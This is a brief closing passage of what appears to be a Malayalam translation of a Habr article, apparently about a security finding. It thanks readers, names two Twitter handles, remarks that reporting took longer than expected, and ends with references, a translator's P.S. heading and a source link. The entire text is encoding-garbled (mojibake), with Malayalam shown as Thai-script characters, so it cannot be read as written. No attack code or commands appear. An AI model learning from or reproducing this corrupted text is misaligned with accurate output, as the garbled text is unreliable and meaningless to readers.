  • เดˆ เดฒเต‡เด–เดจเดคเตเดคเดฟเตฝ เดจเดฟเด™เตเด™เตพ เดงเดพเดฐเดพเดณเด‚ เดธเดพเด™เตเด•เต‡เดคเดฟเด• เดตเดฟเดถเดฆเดพเด‚เดถเด™เตเด™เตพ เด•เดฃเตเดŸเต†เดคเตเดคเตเด‚. เด…เดต เดจเดฟเด™เตเด™เดณเตเดฎเดพเดฏเดฟ เดšเตผเดšเตเดš เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเตฝ เดžเด™เตเด™เตพเด•เตเด•เต เดธเดจเตเดคเต‹เดทเดฎเตเดฃเตเดŸเต (เดŸเตเดตเดฟเดฑเตเดฑเตผ: @ReeverZax & @__hach_).
  • เดŽเดฒเตเดฒเดพเดคเตเดคเดฐเด‚ เด”เดชเดšเดพเดฐเดฟเด•เดคเด•เตพเด•เตเด•เตเด‚ เดฑเดฟเดชเตเดชเต‹เตผเดŸเตเดŸเดฟเด‚เด—เดฟเดจเตเด‚ เดชเตเดฐเดคเต€เด•เตเดทเดฟเดšเตเดšเดคเดฟเดฒเตเด‚ เด•เต‚เดŸเตเดคเตฝ เดธเดฎเดฏเดฎเต†เดŸเตเดคเตเดคเดคเดพเดฏเดฟ เดคเต†เดณเดฟเดžเตเดžเต.

เดฑเต†เดซเดฑเตปเดธเตเด•เตพ

เดตเดฟเดตเตผเดคเตเดคเด•เดจเดฟเตฝ เดจเดฟเดจเตเดจเต เดชเดฟ.เดŽเดธเต

เดžเด™เตเด™เดณเตเดŸเต† เดฌเตเดฒเต‹เด—เดฟเดฒเตเด‚ เดตเดพเดฏเดฟเด•เตเด•เตเด•:

เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•